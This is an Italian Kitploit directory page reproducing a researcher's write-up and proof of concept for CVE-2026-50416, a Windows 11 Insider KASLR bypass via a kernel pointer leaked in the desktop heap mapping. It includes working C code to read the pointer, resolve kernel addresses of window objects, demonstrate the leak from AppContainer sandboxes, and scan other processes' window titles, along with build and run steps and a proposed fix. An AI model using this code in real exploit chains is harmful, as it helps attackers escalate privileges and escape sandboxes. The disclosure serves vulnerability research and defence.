Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-50416-writeup-and-poc — CVE-2026-50416: Windows 11 KASLR bypass | Kitploit
Strumenti/GitHubGitHub/karollooool/cve-2026-50416-writeup-and-poc
Framework di ExploitMemory ForensicsAnalisi delle VulnerabilitàExploitRaccolta InformazioniCTFAnalisi di BinariPaper e RicercaApprendimento e Formazione
Lab e Pratica
GitHubkarollooool/cve-2026-50416-writeup-and-poc

CVE-2026-50416-writeup-and-poc

CVE-2026-50416: Windows 11 KASLR bypass

Vedi RepositorySito web
445124 giorni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-50416: Un QWORD di Troppo nell'Heap del Desktop

Sulla build Insider di Windows 11 10.0.28020.2149, il mapping in modalità utente dell'heap del desktop Win32k esponeva un puntatore grezzo al pool della sessione kernel all'offset 0x100.

La lettura in sé è quasi offensivamente piccola:

root@kitploit:~
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

Nella mia sessione di test, restituiva:

root@kitploit:~
0xffffc600dcc00040

Il valore rimaneva identico tra processi sullo stesso desktop e cambiava dopo un riavvio. Un processo avviato su un altro desktop riceveva un valore diverso perché aveva un heap del desktop diverso. Da questo singolo QWORD, il PoC ha recuperato la base dell'heap del desktop kernel e poi ha utilizzato user32!gSharedInfo per derivare gli indirizzi kernel degli oggetti finestra attivi.

La stessa lettura funzionava da Low integrity, AppContainer, una configurazione LPAC con zero capacità, e un figlio AppContainer a Low integrity con zero capacità.

L'heap del desktop dovrebbe essere condiviso. Il puntatore kernel non lo è.

L'heap del desktop dalla modalità utente

Win32k memorizza oggetti USER come finestre, menu, classi, hook e metadati correlati negli heap del desktop. Ogni desktop ha il proprio heap. Parte di quell'heap viene mappata nei processi associati al desktop così che la modalità utente possa leggere lo stato GUI condiviso senza chiedere al kernel ogni campo.

Sulla build x64 testata, il mapping in modalità utente può essere raggiunto tramite i dati client del TEB del thread corrente:

root@kitploit:~
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];

Gli offset sono specifici della build, ma il percorso è semplice:

root@kitploit:~
GS:[0x30]
    -> TEB
    -> ClientInfo a TEB + 0x800
    -> ClientInfo[5]
    -> mapping dell'heap del desktop in modalità utente

Il PoC chiama VirtualQuery sull'indirizzo restituito e registra la regione mappata e la sua protezione. Non è ancora successo nulla di sbagliato. Un mapping di sola lettura dell'heap del desktop è un comportamento normale di Win32k.

Il problema inizia 256 byte più avanti.

Il puntatore all'offset 0x100

Il PoC principale legge un QWORD dall'heap mappato:

root@kitploit:~
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

Il valore ha superato i controlli di base attesi da un indirizzo virtuale kernel sul sistema testato:

  • Bit alti canonici
  • Allineamento a otto byte
  • Non uno dei valori sentinella noti filtrati dal PoC
  • Stabile mentre le finestre venivano create e distrutte
  • Identico nei processi testati sullo stesso desktop
  • Diverso dopo il riavvio
  • Diverso su un altro desktop

Il test di stabilità crea finestre STATIC, BUTTON ed EDIT, legge il valore prima della creazione, lo rilegge mentre le finestre esistono, le distrugge e lo legge una terza volta.

root@kitploit:~
ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);

HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);

ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);

DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);

ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);

Tutte e tre le letture hanno restituito lo stesso valore. L'attività di allocazione delle finestre non lo ha spostato. Questo comportamento è coerente con un campo nei metadati dell'heap del desktop piuttosto che con un puntatore a un oggetto di breve durata.

La proprietà cross-process è altrettanto importante. Due processi collegati allo stesso desktop osservano lo stesso valore divulgato perché guardano lo stesso heap del desktop. Dopo un riavvio, KASLR dà alla sessione un nuovo indirizzo. Un figlio posto su un altro desktop osserva un altro puntatore perché quel desktop possiede un altro heap.

Questo conferisce alla fuga di informazioni un'identità utile:

root@kitploit:~
stesso avvio + stesso desktop      -> stesso puntatore
stesso avvio + desktop diverso    -> puntatore diverso
nuovo avvio                       -> puntatore diverso

Recupero della base dell'heap del desktop kernel

Sulla build testata, il puntatore divulgato si trova 0x40 byte sopra la base dell'heap del desktop kernel usata dal PoC:

root@kitploit:~
ULONG64 kernel_desktop_heap_base = leaked - 0x40;

Usando il valore registrato della sessione:

root@kitploit:~
puntatore divulgato            = 0xffffc600dcc00040
base heap desktop kernel       = 0xffffc600dcc00000

Questa relazione è specifica della build. Per la build usata durante i test, fornisce l'ancora lato kernel necessaria per il passo successivo.

Un puntatore è già utile. Un indirizzo per un oggetto scelto è molto più utile.

Risoluzione di un oggetto finestra tramite gSharedInfo

user32.dll esporta gSharedInfo, che espone l'elenco delle voci degli handle USER e la dimensione di ciascuna voce:

root@kitploit:~
typedef struct {
    PVOID psi;
    PVOID aheList;
    ULONG HeEntrySize;
} SHAREDINFO;

SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
    GetModuleHandleA("user32.dll"),
    "gSharedInfo"
);

Un HWND contiene un indice nella tabella degli handle USER. Il PoC prende i 16 bit bassi dell'handle, cammina fino alla voce corrispondente e legge l'offset dell'heap del desktop memorizzato lì.

root@kitploit:~
ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;

Lo stesso offset identifica l'oggetto in entrambi i mapping:

root@kitploit:~
BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;

Quindi il calcolo completo è:

root@kitploit:~
base heap desktop kernel = desktop_heap[0x100] - 0x40
indice handle             = HWND & 0xffff
offset heap               = aheList[indice handle].offset
indirizzo finestra kernel = base heap desktop kernel + offset heap

Il PoC crea sei classi di finestra ed esegue il calcolo per ciascuna:

  • STATIC
  • BUTTON
  • EDIT
  • LISTBOX
  • SCROLLBAR
  • COMBOBOX

Per ogni oggetto, stampa l'HWND, l'indice dell'handle, l'indirizzo dell'oggetto in modalità utente, l'offset dell'heap e l'indirizzo kernel.

root@kitploit:~
HWND
  -> indice handle a 16 bit bassi
  -> voce handle gSharedInfo
  -> offset heap del desktop
  -> base heap desktop kernel + offset
  -> indirizzo kernel di quell'oggetto finestra

Questa è la parte che trasforma la divulgazione da un puntatore kernel vago in un oracolo di indirizzi per oggetti USER selezionati sull'heap del desktop testato.

Perché i test sandbox contano

L'heap del desktop arriva tramite un mapping condiviso. I livelli di integrità e le restrizioni AppContainer non riscrivono i contenuti di quel mapping per ogni processo. Se il processo riceve l'heap del desktop, riceve anche il QWORD a 0x100.

Il PoC sandbox lancia figli in diversi contesti e fa leggere a ciascun figlio il valore dal proprio TEB e dal proprio mapping dell'heap del desktop.

ContestoConfigurazioneRisultato
Integrità mediaProcesso utente standardDivulgato
Integrità bassaIntegrità del token abbassata a LowDivulgato
AppContainerZero capacità richiesteDivulgato
Configurazione LPACTutti i pacchetti applicativi con policy opt-out, zero capacità richiesteDivulgato
AppContainer a integrità bassaLow IL più AppContainer, zero capacità richiesteDivulgato
Desktop alternativoFiglio assegnato a un nuovo desktopDivulgato un valore diverso

I primi cinque figli erano collegati al desktop predefinito e restituivano lo stesso indirizzo. Il figlio sul desktop alternativo restituiva un altro indirizzo perché riceveva un altro heap del desktop.

L'output del figlio ha un formato compatto così il genitore può confrontare i risultati:

root@kitploit:~
RESULT|LowIL+AppContainer|LEAKED|0xffffc600dcc00040|1|1234

L'helper più rigoroso registra anche lo stato del token e il conteggio delle capacità:

root@kitploit:~
RESULT|LPAC_LowIL_NoCaps|LEAKED|0xffffc600dcc00040|IL=Low|AC=1|caps=0|PID=1234

Il dettaglio importante non è che il figlio possa chiamare una speciale API Win32k. Non ne ha bisogno. Una volta che il mapping è presente, la fuga di informazioni è una normale lettura di memoria in modalità utente.

Nessuna creazione di finestra richiesta

Un helper separato esegue la lettura senza chiamare CreateWindow.

Controlla il puntatore dell'heap del desktop, legge desktop_heap[0x100], carica esplicitamente user32.dll, controlla di nuovo il mapping e comunque non crea mai una finestra. Un altro figlio simile a un renderer carica user32.dll, esegue la stessa lettura ed esce senza creare alcuna finestra.

Il risultato utile è semplice:

root@kitploit:~
Nessun oggetto finestra deve essere creato prima di leggere il QWORD divulgato.

La fuga di informazioni appartiene al mapping dell'heap del desktop stesso, non a una finestra creata dal processo attaccante.

Il figlio simile a un renderer

supporting_proof_remote_trigger.c crea un figlio AppContainer a Low integrity con zero capacità richieste. Il figlio fa solo una piccola quantità di lavoro:

root@kitploit:~
LoadLibraryA("user32.dll");

PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

Output registrato:

root@kitploit:~
RENDERER|LEAKED|0xffffc600dcc00040|AC=1|IL=0x1000|NoWindowCreated

Questo dimostra la lettura da una configurazione di token simile a un renderer. Un bug separato di corruzione della memoria del browser che già fornisce esecuzione di codice nativo in tale processo non avrebbe bisogno di un'altra divulgazione di informazioni prima di leggere questo puntatore dell'heap del desktop.

Cos'altro era visibile nel mapping

Una volta ottenuto un puntatore affidabile, ho scansionato la regione mappata per vedere cos'altro era presente.

Valori aggiuntivi con forma kernel

Lo scanner ha trovato da sei a dieci valori QWORD unici aggiuntivi per esecuzione che superavano gli stessi controlli di indirizzo canonico e allineamento. Il numero esatto cambiava con l'attività del desktop. L'offset 0x100 era la fuga di informazioni primaria stabile, ma non era l'unico valore con forma di indirizzo kernel nel mapping.

Titoli di finestra di altri processi

L'helper dei dati sensibili enumera le finestre di primo livello con EnumWindows, raccoglie i PID proprietari e i titoli, e poi cerca nel mapping dell'heap del desktop gli stessi titoli come stringhe UTF-16.

Nell'esecuzione registrata ha trovato venti titoli unici appartenenti ad altri processi. Gli esempi includevano schede del browser, Discord, Explorer, Spotify e finestre della barra di sistema.

Il programma stampa un titolo solo dopo che entrambe le condizioni sono vere:

  1. La stringa esiste nella regione mappata dell'heap del desktop.
  2. EnumWindows riporta una finestra con quel titolo e un PID proprietario diverso dal processo di test.

Questo rende l'output facile da verificare invece di affidarsi a stringhe stampabili casuali trovate in memoria.

Occorrenze di ID di processo

L'helper scansiona anche valori DWORD nel mapping. Un valore viene conteggiato solo quando:

  1. Sembra un PID plausibile.
  2. OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION) ha successo per esso.
  3. Il PID possiede anche una finestra trovata da EnumWindows.

L'esecuzione registrata ha trovato 605 occorrenze DWORD corrispondenti. Questo è un conteggio di occorrenze nell'heap, non 605 processi unici. Lo stesso PID può apparire più di una volta.

Testo della password negli edit

L'helper crea un controllo EDIT con ES_PASSWORD, imposta il suo testo su SecretPassword123 e cerca nella regione mappata il prefisso SecretP. Non è stato trovato nell'esecuzione testata.

Quindi il mapping esponeva titoli, occorrenze di PID e valori con forma kernel, mentre la stringa della password testata non appariva lì.

Cosa cambia la fuga di informazioni durante lo sfruttamento

Per un bug di corruzione della memoria Win32k, sapere che un oggetto esiste non è la stessa cosa che sapere dove vive nella memoria kernel.

Senza la divulgazione, l'attaccante deve gestire una base dell'heap del desktop sconosciuta e indirizzi di oggetti sconosciuti. Con la divulgazione, il lato degli indirizzi diventa:

root@kitploit:~
leggi un QWORD
sottrai 0x40
leggi la voce dell'handle target
aggiungi il suo offset dell'heap

Per un HWND scelto, l'attaccante ora ha l'indirizzo corrispondente dell'heap del desktop kernel sulla build testata. Questo può aiutare con:

  • Tracciare un oggetto target attraverso l'attività dell'heap
  • Distinguere l'oggetto previsto dalle allocazioni vicine
  • Calcolare l'indirizzo usato da una primitiva separata di lettura, scrittura o corruzione
  • Verificare se il modellamento dell'heap ha prodotto il layout atteso
  • Eliminare le congetture sull'indirizzo dell'heap del desktop da una catena di exploit Win32k

La fuga di informazioni risolve il problema dell'indirizzo. Il modellamento dell'heap, la sostituzione degli oggetti e la primitiva di corruzione della memoria rimangono parti separate dell'exploit.

Questa divisione conta. KASLR non ferma la corruzione della memoria. Rende il targeting affidabile più difficile. Questo QWORD rimuove quell'incertezza per la regione dell'heap del desktop usata dal PoC.

Riproduzione

Ambiente testato

root@kitploit:~
Windows 11 Insider Build 10.0.28020.2149
Utente standard
Integrità media di base

File

  • kaslr_bypass_poc.c: PoC principale di fuga di informazioni e risoluzione degli indirizzi delle finestre
  • kaslr_sandbox_proof.c: test Medium IL, Low IL, AppContainer, configurazione LPAC, AppContainer Low IL e desktop alternativo
  • supporting_proof_no_window.c: lettura senza creare una finestra
  • supporting_proof_no_caps_lpac.c: configurazioni AppContainer e LPAC a zero capacità
  • supporting_proof_sensitive_data.c: titoli, occorrenze di PID, scansione di puntatori extra e controllo del campo password
  • supporting_proof_exploitability.c: sei classi di finestra e calcoli degli indirizzi kernel
  • supporting_proof_remote_trigger.c: figlio AppContainer Low IL simile a un renderer
  • compile.bat: menu di compilazione

Compilazione

Esegui:

root@kitploit:~
compile.bat

Seleziona il target dal menu.

Il PoC principale può anche essere compilato direttamente da un prompt dei comandi di sviluppo Visual Studio:

root@kitploit:~
cl /O2 /Fe:kaslr_bypass_poc.exe kaslr_bypass_poc.c /link user32.lib ntdll.lib

Valida il puntatore

Esegui il PoC principale due volte senza riavviare:

root@kitploit:~
kaslr_bypass_poc.exe
kaslr_bypass_poc.exe

Il puntatore a desktop_heap + 0x100 dovrebbe essere identico in entrambe le esecuzioni.

Apri un secondo terminale ed eseguilo da un altro processo sullo stesso desktop. Il valore dovrebbe corrispondere di nuovo.

Riavvia e ripeti. Il valore dovrebbe cambiare.

Esegui il test sandbox

root@kitploit:~
kaslr_sandbox_proof.exe

Il test lancia ogni figlio, cattura il suo output e confronta i valori divulgati. I figli sul desktop predefinito dovrebbero riportare lo stesso valore. Il figlio sul desktop alternativo dovrebbe riportare un valore diverso.

Esegui gli helper mirati

root@kitploit:~
supporting_proof_no_window.exe
supporting_proof_no_caps_lpac.exe
supporting_proof_sensitive_data.exe
supporting_proof_exploitability.exe
supporting_proof_remote_trigger.exe

Ogni helper isola una parte del risultato così può essere riprodotta senza leggere l'intero output del PoC completo.

Correzione

Il mapping in modalità utente non dovrebbe contenere indirizzi virtuali kernel grezzi.

La correzione più piccola è sanificare il campo dell'intestazione dell'heap del desktop prima che la pagina diventi visibile in modalità utente. Windows usa già un valore opaco 0x6000000000 per altri campi puntatore dell'heap del desktop, quindi lo stesso stile di sostituzione potrebbe essere usato qui se la modalità utente ha ancora bisogno del campo.

Se la modalità utente non ha bisogno della pagina dell'intestazione, la correzione più pulita è non esporre quella pagina nel mapping condiviso.

Il test di regressione è semplice: crea processi a Medium IL, Low IL, AppContainer e configurazioni LPAC, mappa l'heap del desktop e rifiuta qualsiasi indirizzo kernel canonico trovato nell'intestazione visibile all'utente.

Conclusione

L'intera catena inizia con una lettura ordinaria da un mapping di sola lettura:

root@kitploit:~
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

Quel QWORD identifica l'heap del desktop kernel. gSharedInfo fornisce l'offset per oggetto. Insieme trasformano un HWND in modalità utente nell'indirizzo kernel corrispondente sulla build testata.

Nessun trigger complicato si nasconde qui. Windows ha messo l'heap del desktop dove la modalità utente potesse leggerlo, poi ha lasciato un puntatore kernel dentro la parte che ha condiviso.

Un QWORD è stato sufficiente.

Scarica lo strumento